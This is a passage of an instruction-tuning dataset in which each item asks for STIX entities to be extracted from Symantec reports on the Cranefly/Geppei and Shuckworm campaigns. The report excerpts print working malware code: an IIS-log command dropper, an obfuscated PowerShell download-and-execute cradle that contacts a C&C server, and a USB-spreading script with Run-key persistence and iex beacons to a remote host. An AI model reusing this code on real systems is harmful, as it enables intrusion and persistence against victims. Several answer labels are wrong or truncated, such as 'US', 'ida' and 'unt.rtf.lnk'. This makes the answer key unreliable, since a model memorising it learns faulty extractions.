OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAttribution\nHacktool.Regeorg has been used by multiple advanced persistent threat (APT) groups in the past, but as this code is publicly available on GitHub, its use does not offer sufficient clues for attribution. Symantec was unable to link this activity to any known groups.\nThe use of a novel technique and custom tools, as well as the steps taken to hide traces of this activity on victim machines, indicate that Cranefly is a fairly skilled threat actor. While we do not see data being exfiltrated from victim machines, the tools deployed and efforts taken to conceal this activity indicate that the most likely motivation for this group is intelligence gathering.\n",
    "output": "<entities>Symantec|Cranefly|Regeorg|Hacktool</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTechnical Details\nThe first malicious activity Symantec researchers saw on victim machines was the presence of a previously undocumented dropper (Trojan.Geppei). It uses PyInstaller, which converts Python script to an executable file.\nGeppei reads commands from a legitimate IIS log. IIS logs are meant to record data from IIS, such as web pages and apps. The attackers can send commands to a compromised web server by disguising them as web access requests. IIS logs them as normal but Trojan.Geppei can read them as commands.\nThe commands read by Geppei contain malicious encoded .ashx files. These files are saved to an arbitrary folder determined by the command parameter and they run as backdoors.\nThe strings Wrde, Exco, and Cllo don't normally appear in IIS log files. These appear to be used for malicious HTTP request parsing by Geppei; the presence of these strings prompts the dropper to carry out activity on a machine.\nThe attackers can use a dummy URL or even a non-existent URL to send these commands because IIS logs 404s in the same log file by default.\n_flist = [__'Wrde'__,__'Exco'__,__'Cllo'__,__'AppleWEBKit'__]_\n_timenumber = 10_\n_rows = 0_\n_gflag = 0_\n_while_ _True:_\n_time.sleep(600)_\n_print(__'One Two Three'__)_\n___try_ _:_\n_today = datetime.date.today()_\n_list1 = str(today).split(__'-'__)_\n_filename =__'u_ex'__\\+ list1[0][2:] + list1[1] + list1[2] +__'.log'_\n_path =__'C:/inetpub/logs/LogFiles/W3SVC1/'__\\+ filename_\n___if_ _os.path.exists(path):_\n_shutil.copy(path,__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_fp = open(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__,__'r'__)_\n_line = fp.readline()_\n___for_ _i in range(rows):_\n_line = fp.readline()__if_ _line != '':_\n___if_ _len(line.split(__'Wrde'__)) == 3:_\n_temp1 = line.split(__'Wrde'__)_\n_wrde(temp1[1])_\n___if_ _len(line.split(__'Exco'__)) == 3:_\n_temp2 = line.split(__'Exco'__)_\n_exco(temp2[1])_\n___if_ _len(line.split(__'Cllo'__)) == 3:_\n_clear()_\n_line = fp.readline()_\n_rows += 1_\n___else_ _:_\n_fp.close()_\n_os.remove(__'C:\\\\\\windows\\\\\\temp\\\\\\IIS1.log'__)_\n_except:_\n_print('Bye-Bye')_\nIf the malicious HTTP request sample contains \"Wrde\" e.g.:\n* _GET [dummy string]Wrde[passed string to wrde()]Wrde[dummy string]_\nThe passed string to wrde() is decrypted by Decrpt().\nThe decrypted string is expected to look like the following:\n* _w+1+C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThese are the malicious .ashx files, which are saved as:\n* _C:\\\\\\inetpub\\\\\\wwwroot\\\\\\test\\\\\\backdoor.ashx_\nThe backdoors that are dropped by this dropper include:\n* Hacktool.Regeorg: ReGeorg is a known malware, a web shell that can create a SOCKS proxy. Two versions of ReGeorg were seen in the activity observed by Symantec.\n* Trojan.Danfuan: This is a previously unseen malware. It is a DynamicCodeCompiler that compiles and executes received C# code. It appears to be based on .NET dynamic compilation technology. This type of dynamically compiled code is not created on disk but exists in memory. It acts as a backdoor on infected systems.\nWhen the malicious HTTP request sample contains \"Exco\", e.g.:\n* _GET [dummy string]Exco[passed string to exco()]Exco[dummy string]_\nThe passed string to exco() is decrypted by Decrpt() and this decrypted string is an executable command by os.system().\nIf the malicious HTTP request contains \"Cllo\", function clear() is called. This function drops a hacking tool called sckspy.exe to disable eventlog logging for Service Control Manager. This appears to be another previously undocumented tool.\nIt also appears that the clear() function attempts to remove lines that contain command or malicious .ashx file paths from the IIS log file; however, it does not inspect all lines so this function does not seem to work as intended.\n_def clear():_\n_global gflag_\n_global rows_\n_text4 =__'[malicious base64 encoded exe file]'_\n___if_ _gflag == 0:_\n___try_ _:_\n_fw = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__,__'w'__)_\n_fw.write(text4)_\n_fw.close()_\n_os.system(__'certutil -decode c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'expand c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe >c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_fp = open(__'c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__,__'r'__)_\n_str1 = fp.readline()_\n___if_ _str1.find(__'success'__) != -1:_\n_gflag = 1_\n_fp.close()_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.txt'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F127.cab'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\system32\\\\\\sckspy.exe'__)_\n_os.system(__'del c:\\\\\\windows\\\\\\temp\\\\\\DMI27F128.txt'__)_\n_except:_\n_print(__'bye-bye'__)_\nDropped malicious .ashx files (i.e. Trojan.Danfuan and Hacktool.Regeorg) are removed in wrde() if it is called with option 'r':\n_if info[0] == 'r':_\n_temp = info[2].replace('\\\\\\\\\\\\\\', '\\\\\\')_\n_os.system('del ' + temp)_\n_name = temp.split('\\\\\\')_\n_if name in flist:_\n_flist.remove(name[(-1)][:-1])_\n",
    "output": "<entities>Symantec|IIS|sckspy.exe|.NET|Regeorg|PyInstaller|Geppei|Hacktool|Python|Service Control Manager|backdoor.ashx|C:\\\\|IIS1.log|DMI27F127.cab|Danfuan|DMI27F128.txt|DMI27F127.txt</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndicators of Compromise\n**Trojan.Geppei**\n12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e\n981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475\n6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1\n0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379\n7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95\nb5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844\n**Hacktool**\n1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa\n**Hacktool.Regeorg**\n56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077\n0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd\n**Trojan.Danfuan**\n0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e\n",
    "output": "<entities>56243c851b13218d3031ca7e5af8f2b891e139cbd6d7e3f40508e857802a1077|Regeorg|0b8d024ec29619ff499e4b5024ff14451731a4e3155636a02ef5db2df0e0f0dd|Geppei|6dcfa79948cf90b10b05b59237cf46adb09b2ce53bc2c0d38fce875eccd3a7e1|Hacktool|1975bea7ca167d84003b601f0dfb95c4b31a174ce5af0b19e563cb33cba22ffa|0af8bf1fa14fe492de1cc870ac0e01fc8b2f6411de922712a206b905a10ee379|7d5018d823939a181a84e7449d1c50ac3eb94abf3585a2154693ef5180877b95|Danfuan|12eaac1b8dc29ba29287e7e30c893017f82c6fadb73dbc8ef2fa6f5bd5d9d84e|0b168638224589937768eb15c9ebbe795d6539d1fbe744a8f065fedd569bfc5e|b5a4804cf7717fda1f01f23c1c2fe99fe9473b03f0247bcc6190f17d26856844|981b28d7521c5b02f026cb1ba5289d61ae2c1bb31e8b256db21b5dcfb8837475</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nShuckworm tactics, techniques, and procedures\nShuckworm is known to use phishing emails as an initial infection vector, in order to gain access to victim machines and distribute malware. The attackers send emails with malicious attachments to Ukrainian victims, with the attachments of various file types, such as:\n* .docx\n* .rar (RAR archive files)\n* .sfx (self-extracting archives)\n* .lnk\n* .hta (HTML smuggling files)\nThe victim lures we observed related to armed conflicts, criminal proceedings, combating crime, and protection of children, among others.\nOnce victims were infected, the attackers then proceed to download additional backdoors and tools onto targeted machines.\nShuckworm has also been observed using a new PowerShell script in order to spread its custom backdoor malware, Pterodo, via USB. Researchers from Symantec, part of Broadcom, blogged about Backdoor.Pterodo in April 2022, documenting how we had found four variants of the backdoor with similar functionality. The variants are Visual Basic Script (VBS) droppers that will drop a VBScript file, use Scheduled Tasks (shtasks.exe) to maintain persistence, and download additional code from a command-and-control (C&C) server.\nExamples of recent scheduled tasks include execution of the following command lines:\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\appdata\\local\\temp\\desert\" //e:vbscript //b /dmc /j2k /spl /nff\n* CSIDL_SYSTEM\\wscript.exe \"CSIDL_PROFILE\\favorites\\jumper.asf\" //e:vbscript //b /asf /mdf /nab /apk\n* wscript.exe \"C:\\Users\\\\[REDACTED]\\Contacts\\delightful.abk\" //e:vbscript //b /cfg /mdm /cfm /mp4\nThe new PowerShell script is used to first copy itself onto the infected machine and create a shortcut file using an _rtk.lnk_ extension. The script uses file names such as \u201cporn_video.rtf.lnk\u201d, \u201cdo_not_delete.rtf.lnk\u201d\u201d and \u201cevidence.rtf.lnk\u201d in an attempt to entice individuals to open the files. These file names are generally in Ukrainian, but some are also in English.\nNext, the script enumerates all drives, copying itself to any available removable disks \u2013 USB drives. These USB drives are likely used by the attackers for lateral movement across victim networks and may be used to help the attackers reach air-gapped machines within targeted organizations.\nIn this recent activity, we also observed the group leveraging legitimate services to act as C&C servers, including using the Telegram messaging service for its C&C infrastructure. More recently, they have also used Telegram\u2019s micro-blogging platform, called Telegraph, to store C&C addresses.\nFigure 1. Threat actors use Telegraph to store C&C addresses\nShuckworm tends to only use its C&C infrastructure for short periods of time, limiting the usefulness of its C&Cs when it comes to finding more activity or linking activity together. However, the group does use SSL certificates that have some commonalities that may be leveraged for tracking purposes. We believe the group is likely leveraging pre-configured images for use in its C&C deployment. These data points can help researchers to identify additional C&C infrastructure and Shuckworm activity.\nSymantec also saw what was likely Giddome, an infostealer tool that is a known Shuckworm backdoor, deployed onto victim networks to steal and exfiltrate data of interest.\n",
    "output": "<entities>Symantec|C&C|Pterodo|wscript.exe|PowerShell|jumper.asf|US|Shuckworm|Telegram|shtasks.exe|Broadcom|evidence.rtf.lnk|rtk.lnk|Telegraph</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTypical Attack Chain\nThe following describes a typical attack chain seen on a victim machine compromised by Shuckworm in this campaign.\nIn one attack, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious document.\nAfter the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers\u2019 C&C server:\n`\"CSIDL_SYSTEM\\cmd.exe\" /c start /min \"\" powershell -w hidden \"$gt='/get.'+char+char+char;$hosta=char;[system.net.servicepointmanager]::servercertificatevalidationcallback={$true};$hosta+='.vafikgo.';$hosta+=char;$hosta+=char;$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.addresslist[0];$client=(new-object net.webclient);$faddr='htt'+'ps://'+$addr+$gt;$text=$client.downloadstring($faddr);iex $text\"`\nMore recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.\nShuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the group\u2019s scripts observed per month between January and April 2023.\nNext, a VBS script, which was Shuckworm\u2019s Pterodo backdoor, was executed:\n* CSIDL_SYSTEM\\wscript.exe CSIDL_PROFILE\\appdata\\local\\temp\\deprive.wow //e:vbscript //b /kmc /fff /cfm /sc4model\nFollowing this, we saw what appeared to be multiple similar scripts being executed. The machine used for this activity appeared to contain multiple confidential documents related to Ukrainian security services or government departments.\nOn a different machine, we saw malicious activity that appeared to be executed from a file (foto.safe) that had been dropped by an infected USB key that someone had plugged into the system. Symantec observed multiple file paths present on infected machines that indicate users had plugged in an infected USB key e.g. \"usb-\u043d\u0430\u043a\u043e\u043f\u0438\u0442\u0435\u043b\u044c\" translates as \"usb-drive\".\nThe foto.safe file is a Base64-encoded script.\nDecoded it looks like the following:\n_fUNCtIon sET-lnK ($chILd) {_\n_$nAMetxt = \"foto.sAfe\".TolowER();_\n_$NAmE = (\"\u043a\u041e\u041c\u041f\u0420\u041e\u041c\u0430\u0442\", \"\u041a\u041e\u0420\u0417\u0438\u041d\u0410\", \"\u0421\u0435\u041a\u0420\u0435\u0442\u043d\u041e\"  GeT-rAnDOm).ToUPPeR();_\n_$WSHSHELl = NEw-obJeCT -CoMObjeCT WSCriPT.shELL;_\n_$sHORTcut = $wShShEll.CREatesHoRTCUt($cHild +\"\\$nAMe.LNK\");_\n_$shoRtCuT.iConloCaTiON = \"C:\\wiNDoWS\\SysteM32\\SHELL32.DLL,3\";_\n_$SHOrTcUT.TArGetpAth = \"c:\\wInDOwS\\sYstEm32\\WInDOwSpowERshell\\V1.0\\POwERShEll.ExE\".ToLoweR();_\n_$text = \"-wInDoWsTYlE hidDeN -nolOgo Iex (IeX (GeT-cOnTent .\\$NAMetxt  OUT-STrIng))\".TOlower();_\n_$sHORTCUT.ArGUMEnTs = $tExt;_\n_$sHortCUT.saVE();_\n_$mYfIlE= $chIlD+\"\\$naMeTXT\"_\n_cOPY-Item $enV:UsErprOfilE\\iNdEx.phP -deSTINAtION $mYfILE_\n_$FIlE=GEt-ITEM $mYfiLE -forCe_\n_$FiLe.ATtRiButes='hiDDEN'_\n__\n_}_\n_Set-ITemPRoPERTY -pAth HkCU:\\soFTWare\\MicROsOfT\\WiNDows\\cURRENtVerSiON\\ruN -NAME safE -valUE $env:windir'\\sYSTeM32\\wINDoWSPowErSHEll\\v1.0\\pOwERShell.eXE -WIndowSTYlE hiddEN -noLOgO inVOkE-ExpREsSIOn (get-contEnT $eNV:usERPRoFILe\\INdEX.PHp  Out-sTRing)  poweRSHeLL -noPROfILE';_\n_coPy-item .\\\"fOtO.safe\" -dEsTInaTioN $Env:USeRprOFIle\\iNdEX.pHp_\n_WHile($CoUNT -lE 2){_\n_$urLs = 'hTTP://'+ [SYSTEM.NEt.DnS]::geThostadDREsSes([String]$(GEt-random)+'.cOriDAS.Ru') +'/slEEP.Php';_\n_iEX $(New-ObJeCt Net.WEBClient).uPloAdStRING($uRls.ToloWER(),'')_\n_$drIVE = GeT-wmIoBJeCt WIN32_VOluME -fILTer \"drIvETYPe='2'\";_\n_$Drive.naMe  FOreaCH-oBJecT{_\n_$CHiLdS = GET-ChilDITem $drivE.nAMe_\n_foReach($cHilDs IN $chiLDs)_\n_{_\n_if( [SYsTEM.io.fiLE]::GetAttributES($ChilDS.FuLlnAMe) -eq [SYsTEM.Io.fILeaTTrIbuTES]::DIRecToRy )_\n_{_\n_sET-lnk $chILds.fUlLName_\n_}}_\n_IF(($dRIVe.CapaCITY - $DriVe.fREeSPACE) -Gt 1000000){_\n_SEt-lNK $DRivE.name_\n_}}_\n_STArt-SLEeP -S 300;_\n_}_\nThis PowerShell script is used to copy itself onto the infected machine and then create a shortcut file that links to the PowerShell script. Symantec has identified multiple variants of this script that can be used to indicate successful infection, or to download additional tools onto infected machines.\n",
    "output": "<entities>Symantec|C&C|Pterodo|wscript.exe|PowerShell|SHELL32.DLL|US|ida|iNdEx.phP|INdEX.PHp|Shuckworm|foto.safe|iNdEX.pHp|nAMe.LNK|POwERShEll.ExE|slEEP.Php|pOwERShell.eXE|cmd.exe|deprive.wow</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n**LNK file names**\n* account.rtf.lnk\n* account_card.rtf.lnk\n* application.rtf.lnk\n* bank_acc\u043eunt.rtf.lnk\n* blank_cap.rtf.lnk\n* business trip.rtf.lnk\n* compromising_evidence.rtf.lnk\n* conduct.rtf.lnk\n* cuprovod.rtf.lnk\n* do_not_delete.rtf.lnk\n* dsk.rtf.lnk\n* encouragement.rtf.lnk\n* form_new.rtf.lnk\n* instructions.rtf.lnk\n* journey.mdb\n* letter to.rtf.lnk\n* login_password.docx.lnk\n* login_password.rtf.lnk\n* mobilization.rtf.lnk\n* my_documents.rtf.lnk\n* my_photos.rtf.lnk\n* not_delete.rtf.lnk\n* on_account.rtf.lnk\n* order.rtf.lnk\n* petition.rtf.lnk\n* porn_video.rtf.lnk\n* pornography.rtf.lnk\n* pornophoto.rtf.lnk\n* proceedings.rtf.lnk\n* project_sheet.rtf.lnk\n* report.docx.lnk\n* report.rtf.lnk\n* report_note.rtf.lnk\n* request.rtf.lnk\n* resolution.rtf.lnk\n* secret.rtf.lnk\n* secretly.rtf.lnk\n* service.docx.lnk\n* service.rtf.lnk\n* sources.rtf.lnk\n* support.rtf.lnk\n* weapons_list.rtf.lnk\n",
    "output": "<entities>pornography.rtf.lnk|cuprovod.rtf.lnk|service.docx.lnk|request.rtf.lnk|account.rtf.lnk|secretly.rtf.lnk|secret.rtf.lnk|pornophoto.rtf.lnk|report.docx.lnk|journey.mdb|sources.rtf.lnk|encouragement.rtf.lnk|conduct.rtf.lnk|trip.rtf.lnk|dsk.rtf.lnk|unt.rtf.lnk|evidence.rtf.lnk|instructions.rtf.lnk|petition.rtf.lnk|application.rtf.lnk|support.rtf.lnk|report.rtf.lnk|resolution.rtf.lnk|proceedings.rtf.lnk|to.rtf.lnk|order.rtf.lnk|service.rtf.lnk|mobilization.rtf.lnk</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndicators of Compromise\n**Malicious documents**\n* f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192\n* 31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b\n* c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30\n* c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8\n* 3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137\n* 3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601\n* acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8\n**USB propagation scripts**\n* 28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01\n* 2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581\n* dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87\n* a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5\n* 91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86\n**Example of LNK files created**\n* 7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a\n",
    "output": "<entities>2aee8bb2a953124803bc42e5c42935c92f87030b65448624f51183bf00dd1581|acc2b78ce1c0fc806663e3258135cdb4fed60682454ab0646897e3f240690bb8|Malicious documents|US|31e60a361509b60e7157756d6899058213140c3b116a7e91207248e5f41a096b|dbd03444964e9fcbd582eb4881a3ff65d9513ccc08bd32ff9a61c89ad9cc9d87|7d6264ce74e298c6d58803f9ebdb4a40b4ce909d02fd62f54a1f8d682d73519a|c62dd5b6036619ced5de3a340c1bb2c9d9564bc5c48e25496466a36ecd00db30|LNK files|f7a6ae1b3a866b7e031f60d5d22d218f99edfe754ef262f449ed3271d6306192|3393fbdb0057399a7e04e61236c987176c1498c12cd869dc0676ada859617137|USB propagation scripts|28358a4a6acdcdfc6d41ea642220ef98c63b9c3ef2268449bb02d2e2e71e7c01|c6f6838afcb177ea9dda624100ce95549cee93d9a7c8a6d131ae2359cabd82c8|3458cec74391baf583fbc5db3b62f1ce106e6cffeebd0978ec3d51cebf3d6601|a615c41bcf81dd14b8240a7cafb3c7815b48bb63842f7356731ade5c81054df5|91d42a959c5e4523714cc589b426fa83aaeb9228364218046f36ff10c4834b86</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, 